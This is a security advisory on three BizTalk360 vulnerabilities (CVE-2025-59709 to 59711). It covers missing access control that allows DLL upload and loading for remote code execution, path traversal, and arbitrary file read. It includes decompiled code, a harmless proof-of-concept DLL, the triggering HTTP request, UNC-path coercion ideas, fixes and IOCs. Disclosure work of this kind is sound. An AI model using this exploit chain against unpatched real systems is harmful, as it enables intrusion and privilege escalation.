REMOTE CODE EXECUTION FROM ANY DOMAIN ACCOUNT IN BIZTALK360

03/04/2026

Product	Severity	Fixed Version(s)
BizTalk360	High	11.6.3963.2611
Affected Version(s)	**CVE Number**	**Authors**
< 11.6.3963.2611	CVE-2025-59709, CVE-2025-59710, CVE-2025-59711	Clément Amic Jérôme Mampianinazakason

DESCRIPTION

PRESENTATION

BizTalk360, developed by Kovai.co, is an all-in-one solution for administration, monitoring, and governance of Microsoft BizTalk Servers, enabling IT teams to manage, troubleshoot, and automate tasks across the organization's BizTalk environment. Microsoft BizTalk Server is an inter-organizational middleware system (IOMS) that automates business processes.

ISSUE(S)

Multiple issues affecting the BizTalk360 solution were identified during a Red Team engagement:

- Access controls not enforced on sensitive features, leading to RCE (Remote Code Execution) from any authenticated user.
- Directory traversal and absolute path overwrite.
- Arbitrary file read as a BizTalk360 administrator.

If this solution is installed on a domain-joined Windows machine, the first two vulnerabilities can be exploited using any domain account.

TIMELINE

Date	Description
2025.06.27	First contact with the vendor.
2025.07.04	Advisory sent to Kovai.co.
2025.07.08	Advisory acknowledged by Kovai.co.
2025.08.18	Version 11.5 is released. Fixes CVE-2025-59710, and partially CVE-2025-59711.
2025.08.21	Request for CVE ID.
2025.09.19	CVE ID obtained.

Date	Description
2025.10.31	Version 11.6 is released. Attempt to fix CVE-2025-59709.
2025.11.14	Contact Kovai.co about insufficient fix.
2025.11.17	Fix bypass technical details shared to Kovai.co.
2025.11.26	Access to 11.6.3963.2611 patch to confirm the fix implementation.
2025.12.03	Version 11.6.3963.2611 is released.
2026.04.03	Public release.

TECHNICAL DETAILS

CVE-2025-59710 - ACCESS CONTROLS NOT ENFORCED ON SENSITIVE FEATURES

DESCRIPTION

The BizTalk360 solution grants a session to any Windows authenticated user. As the BizTalk360 solution delegates authentication to the IIS server for its WCF (Windows Communication Foundation) services, all accounts of the Active Directory domain can perform requests to these services.

These services are declared on the different `svc` files stored inside the `Web\Services.REST` folder, and implemented in the `Kovai.BizTalk360.WCFService` assembly.

For example, the `AlertServiceManagement.svc` file declares a service implemented by the `AlertService` class.

```
PS > cat "C:\Program Files (x86)\Kovai Ltd\BizTalk360\Web\Services.REST\AlertService.svc"
<%@ ServiceHost Language="C#" Debug="true" Service="Kovai.BizTalk360.WCFService.REST.AlertService" %>
```

The different endpoints of this service are declared on the parent interface, annotated using the `ServiceContract` attribute. This interface includes the required HTTP parameters and the expected HTTP verb, for each endpoint defined using the `OperationContract` attribute on public methods.

```
namespace Kovai.BizTalk360.BusinessService.WCFContracts
{
    [ServiceContract(Namespace = "http://www.kovai.co.uk/biztalk360/services/1.0")]
    public interface IAlertService
    {
        [OperationContract]
        [WebInvoke(UriTemplate = "/UpdateSMTPSetting", Method = "POST", RequestFormat = WebMessageFormat.J
son, ResponseFormat = WebMessageFormat.Json)]
        AlertServiceResponse UpdateSMTPSetting(SMTPSetting smtpSetting);

        [OperationContract]
        [WebGet(UriTemplate = "/GetSMTPSetting", ResponseFormat = WebMessageFormat.Json)]
        GetSMTPSettingResponse GetSMTPSetting();
    // [...]
    }
}
```

The logic of these endpoints is implemented inside the `Kovai.BizTalk360.BusinessService` assembly. For example, `AlertService` relies internally on `AlertBusinessService` from this assembly.

```
namespace Kovai.BizTalk360.WCFService.REST
{
    [ServiceBehavior(Namespace = "http://www.kovai.co.uk/biztalk360/services/1.0")]
    [AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)]
    public class AlertService : IAlertService
    {
        public AlertServiceResponse UpdateSMTPSetting(SMTPSetting smtpSetting)
        {
            AlertServiceResponse alertServiceResponse;
            try
            {
                using (IdentityHelper.GetIdentity().Impersonate())
                {
                    alertServiceResponse = AlertBusinessService.UpdateSMTPSetting(smtpSetting);
```

```
                }
            }
            catch (Exception ex)
            {
                alertServiceResponse = new AlertServiceResponse
                {
                    success = false,
                    errors = ExceptionHelper.CreateBaseErrors(ex)
                };
            }
            return alertServiceResponse;
        }
    // [...]
}
```

Access control is implemented on the application by defining permissions for each operation (i.e. endpoint) and for each role.

These permissions are defined inside the `Kovai.BizTalk360.BusinessService.ApiSecurity.APIAccess.xml` file, of the `Kovai.BizTalk360.BusinessService` assembly.

```
<api-access>
  <available-roles>
    <section name="canAccessOperationSection">
      <role>canAccessTopology</role>
<!-- [...] -->
    <section name="canAccessAnalyticSection">
      <role>canAccessAnalyticMessageFlow</role>
      <role>canAccessAnalyticNewRelic</role>
    </section>
  </available-roles>
  <services>
    <service name="ActivityMonitoringService">
      <operation name="GetAuthorizedAccountsForView">
        <roles condition="and">
          <role>canAccessBAM</role>
        </roles>
      </operation>
<!-- [...] -->
```

However, these permissions are only enforced on an endpoint if static methods of the `ApiSecurityHelper` class are manually invoked before performing each operation.

For example, access control is enforced on the `GetNotificationChannels` endpoint of `AlertBusinessService`:

```
public static GetNotificationChannelsResponse GetNotificationChannels()
{
    MethodExecutionArgs methodExecutionArgs = new MethodExecutionArgs(null, null);
    GetNotificationChannelsResponse getNotificationChannelsResponse;
    // Enforcing access controls:
    ApiSecurityHelper.ValidateNotificationChannelsApiValidation(AlertServiceOperation.GetNotificationChann
els);
    NotificationChannelList notificationChannels = AlertServiceManagement.GetNotificationChannels();
    getNotificationChannelsResponse = new GetNotificationChannelsResponse
    {
        success = true,
        channels = notificationChannels
    };
    return getNotificationChannelsResponse;
}
```

ARBITRARY DLL LOAD

Among the features implemented by this service, which are not subject to permission checks, a user can provide a path to a dynamic library (DLL file), which is then loaded by the application, through the `/ValidateNotificationChannel` endpoint.

Indeed, in the `AlertServiceManagement` class, the `ValidateNotificationChannel` method uses a user-provided argument without prior verification (`dllName`) to build the path of the DLL file to be loaded.

```
internal static NotificationChannel ValidateNotificationChannel(ValidateNotificationChannelRequest reques
t, out bool isValidNotificationChannel, bool isDefaultLoad = false, string defalutPath = "")
{
    string text = string.Empty;
    // [...]
    string libraryPath = Path.Combine(new string[] {
        AlertServiceManagement.basePath + "Download\\NotificationChannels\\Dll\\" + request.dllName
    });
    isValidNotificationChannel = true;
    string result;
    AlertServiceManagement.ManageDllExtractions(isDefaultLoad ? defalutPath : libraryPath, out result, out
text);
    // [...]
}
```

The invoked method `ManageDllExtractions` of the `AlertServiceManagement` class then tries to load a DLL from this path. If the loaded assembly includes a class implementing the `IChannelNotification` interface, it is instantiated.

ARBITRARY DLL UPLOAD

Moreover, an authenticated user can upload a dynamic library (DLL file) through the `/UploadFile` endpoint of `AnalyticsDataService` .

Indeed, this feature is implemented on the `AnalyticsDataBusinessService` class, where no access control is enforced.

```
namespace Kovai.BizTalk360.BusinessService.Main.Rest
{
    public class AnalyticsDataBusinessService
    {
        public static FileUploadResponse UploadFile(Stream fileStream, string fileName, FileUpload fileUpl
oadSection)
        {
            // [...]
            bool isMimeTypeValid = AnalyticsDataBusinessService.checkMimeType(FileUploadHelper.GetMime(arr
ay), fileUploadSection);
            // [...]
            switch (fileUploadSection)
            {
                // [...]
                case FileUpload.NotificationChannelDll:
                    text2 = Constants.NotificationChannelsFilePath;
                    fileNameExtensionIsValid = extension.Contains("dll");
                    break;
                // [...]
            }
            // [...]
            FileUploadResponse fileUploadResponse = new FileUploadResponse();
            if (fileNameExtensionIsValid && isMimeTypeValid)
            {
                // [...] save provided file to path [...]
                fileUploadResponse.file = new UploadedFile
                {
                    fileUploadSection = fileUploadSection,
                    fileName = fileName,
                    fileLength = Convert.ToString(num)
                };
```

```
            }
            // [...]
            return fileUploadResponse;
        }
        // [...]
    }
}
```

IMPACT

As the application will instantiate the type defined in the provided DLL file, it is possible to perform code execution by uploading a malicious DLL file, then triggering its loading.

For example, a managed DLL can be compiled using the following code:

```
using System;
using System.Web;

namespace B360POC
{
    public class B360POC : IChannelNotification
    {
        public B360POC()
        {
            HttpContext.Current.Response.Clear();
            HttpContext.Current.Response.Write("This is a POC");
            HttpContext.Current.Response.End();
        }
    }
}
```

Once built, it can be uploaded using the `AnalyticsDataService.svc/UploadFile` endpoint.

Then, this DLL can be loaded by requesting the `AlertService.svc/ValidateNotificationChannel` endpoint, thus executing the constructor of the `B360POC` class.

```
POST /biztalk360/Services.REST/AlertService.svc/ValidateNotificationChannel HTTP/1.1
Host: biztalk.lab
Authorization: NTLM [...]
Content-Type: application/json
[...]

{"channelName": "B360POC", "dllName": "B360POC.dll"}

HTTP/1.1 200 OK
[...]

This is a POC
```

Finally, as stated in the documentation, the service account running this application is highly privileged, and would grant the following privileges to an attacker:

- Local administrator on all the BizTalk servers, including the server hosting the BizTalk360 solution.
- `Sysadmin` over the MS-SQL database server.

RECOMMENDATION

Install version 11.6.3963.2611 or above.

Additionally, access to the BizTalk360 solution can be restricted by authorizing only a group to authenticate to the IIS web server.

In order to do so, the following steps must be followed:

- Start Server Manager to install an IIS Role:
  - `Web Server (IIS) > Web Server > Security > URL Authorization`
- Configure IIS URL Authorization:
  - Open Internet Information Services (IIS) Manager
  - Access `Sites > Default Web Site > BizTalk360`
  - `On the IIS section, open the Authorization Rules`
  - Edit the only present rule and change the `All users` option to `Specified roles or user groups`

The same configuration can be applied by editing the `authorization` section of the main `web.config` file:

```
<!-- [...] -->
<security>
  [...]
  <authorization>
    <remove users="*" roles="" verbs="" />
    <add accessType="Allow" roles="AD.DOMAIN.LOCAL\SG-BIZTALK-OPERATORS" />
  </authorization>
</security>
<!-- [...] -->
```

CVE-2025-59711 - DIRECTORY TRAVERSAL AND ABSOLUTE PATH OVERWRITE

DESCRIPTION

The BizTalk360 solution uses the `Path.Combine` method to build file paths from user-provided input.

However, as demonstrated bellow, the final path can be different depending on the second argument supplied to the `Path.Combine` method:

```
Path.Combine(@"C:\BizTalk360\web\upload", @"file.png");  // C:\BizTalk360\web\upload\file.png
Path.Combine(@"C:\BizTalk360\web\upload", @"..\file.png");  // C:\BizTalk360\web\upload\..\file.png
Path.Combine(@"C:\BizTalk360\web\upload", @"\file.png");  // \file.png
Path.Combine(@"C:\BizTalk360\web\upload", @"D:\file.png");  // D:\file.png
Path.Combine(@"C:\BizTalk360\web\upload", @"\\LAB\SYSVOL\file.png"); // \\LAB\SYSVOL\file.png
```

In the `AnalyticsDataBusinessService` class of the `Kovai.BizTalk360.BusinessService` assembly, the `UploadFile` method uses `Path.Combine` to build the destination path, using the user-provided `fileName` parameter as a second argument.

```
public static FileUploadResponse UploadFile(Stream fileStream, string fileName, FileUpload fileUploadSecti
on) {
    // [...]
    if (uploadType.Contains("notification-channels") || uploadType.Contains("custom-widgets")) {
        baseDirectory = [...]; // Get base directory from uploadType
        destinationFilePath = Path.Combine(baseDirectory, fileName); // Build destination path
    } else {
        destinationFilePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, uploadType, fileName);
// Build destination path
    }
    if (flag2 && flag)    {
        using (FileStream fileStream2 = new FileStream(destinationFilePath, FileMode.Create))
        {
             // [...] Writes content to destinationFilePath [...]
        }
    // [...]
}
```

Synacktiv did not perform a full review of the BizTalk360 components, therefore other endpoints may be affected by this vulnerability.

Nonetheless, the `ValidateNotificationChanel` endpoint of `AlertService` is also affected by the path traversal vulnerability:

```
internal static NotificationChannel ValidateNotificationChannel(ValidateNotificationChannelRequest reques
t, out bool isValidNotificationChannel, bool isDefaultLoad = false, string defalutPath = "")
{
    // [...]
    string libraryPath = Path.Combine(new string[] {
        AlertServiceManagement.basePath + "Download\\NotificationChannels\\Dll\\" + request.dllName
    });
    // [...]
}
```

IMPACT

This vulnerability can be exploited to target files outside the designated folder using the absolute path overwrite, or path traversal sequences (using `..` and the separators `/` or `\`).

As the BizTalk360 service is always local administrator of the hosting machine, which is a requirement stated in the documentation, DLL files can be written anywhere on the underlying file system using the upload feature.

Moreover, the upload feature can be exploited to make the BizTalk360 service open a connection to a remote share, using a UNC path, for coercion purposes. As the BizTalk360 service is administrator of the MS-SQL database, which is also mentioned in the documentation, this vulnerability may be exploited to coerce and relay the BizTalk360 service account to the server hosting its database.

RECOMMENDATION

Install version 11.6.3963.2611 or above.

CVE-2025-59709 - ARBITRARY FILE READ

DESCRIPTION

The BizTalk360 application provides a download feature to administrators, without performing sufficient controls.

Indeed, the `DownloadAttachment` handler of `AdminBusinessService`, allows any authenticated administrator to download arbitrary files, by providing an absolute path on the `attachmentLink` parameter.

```
public static Stream DownloadAttachment(string server, string featureName, string attachmentName, string a
ttachmentLink) {
    // [...]
    try {
        // [...]
        string filePath = attachmentLink ?? "";
        Stream stream2;
        try {
            if (string.IsNullOrEmpty(attachmentLink)) {
                throw new Exception("Attachment Link is Empty");
            }
            if (File.Exists(filePath)) {
                Stream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.Read);
                WebOperationContext.Current.OutgoingResponse.ContentType = "application/vnd.openxmlformats
-officedocument.spreadsheetml.sheet";
                WebOperationContext.Current.OutgoingResponse.Headers["Content-Disposition"] = "attachment;
filename=" + (attachmentName ?? string.Empty);
                stream2 = stream;
                goto IL_0122;
            }
    // [...]
}
```

IMPACT

An attacker with administrator access to the BizTalk360 application can read any file from the affected server, or can make the BizTalk360 service open a connection to a remote share, for coercion purposes, by providing a UNC path to the `attachmentLink` parameter.

RECOMMENDATION

Install version 11.6.3963.2611 or above.

IOC

`POST` HTTP requests supplied to the following endpoints:

- `/biztalk360/Services.REST/AlertService.svc/ValidateNotificationChannel`
- `/biztalk360/Services.REST/AnalyticsDataService.svc/UploadFile`